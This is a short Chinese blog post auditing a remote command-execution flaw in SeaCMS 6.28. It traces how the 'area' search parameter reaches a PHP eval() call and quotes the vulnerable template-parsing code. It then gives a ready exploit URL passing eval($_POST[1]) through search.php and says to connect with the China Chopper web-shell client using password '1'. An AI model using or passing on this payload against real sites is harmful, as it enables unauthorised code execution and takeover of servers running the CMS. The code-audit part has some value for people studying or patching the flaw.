海洋CMS6.28命令执行漏洞

0x00 代码审计

area参数处理过的地方经过字符是否非法判断之后,调用echoSearchPage()函数

area参数经过了检测是否是拼音之后

接下来到了

   
   
  1. $content=$mainClassObj->parseSearchItemList($content,"area");

因为能执行php代码一般就是eval()函数

搜索一下这个页面有eval函数的地方

   
   
  1.  for($m=0;$m<$arlen;$m++){ $strIf=$iar[1][$m]; $strIf=$this->parseStrIf($strIf);
  2. $strThen=$iar[2][$m];
  3. $strThen=$this->parseSubIf($strThen);
  4.  if (strpos($strThen,$labelRule2)===false){
  5.  if (strpos($strThen,$labelRule3)>=0){
  6. $elsearray=explode($labelRule3,$strThen);
  7. $strThen1=$elsearray[0];
  8. $strElse1=$elsearray[1];
  9.  @eval("if(".$strIf."){\$ifFlag=true;}else{\$ifFlag=false;}");
  10.  if ($ifFlag){ $content=str_replace($iar[0][$m],$strThen1,$content);} else {$content=str_replace($iar[0][$m],$strElse1,$content);}
  11.  }else{
  12.  @eval("if(".$strIf.") { \$ifFlag=true;} else{ \$ifFlag=false;}");
  13.  if ($ifFlag) $content=str_replace($iar[0][$m],$strThen,$content); else $content=str_replace($iar[0][$m],"",$content);}
  14.  }

可以在这里下个断点,把变量打印出来

就可以清晰的看到就是在这执行了我们的命令

0x01 EXP

 

   
   
  1. /search.php?searchtype=5&tid=&area=eval($_POST[1])

直接菜刀链接 链接密码1

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值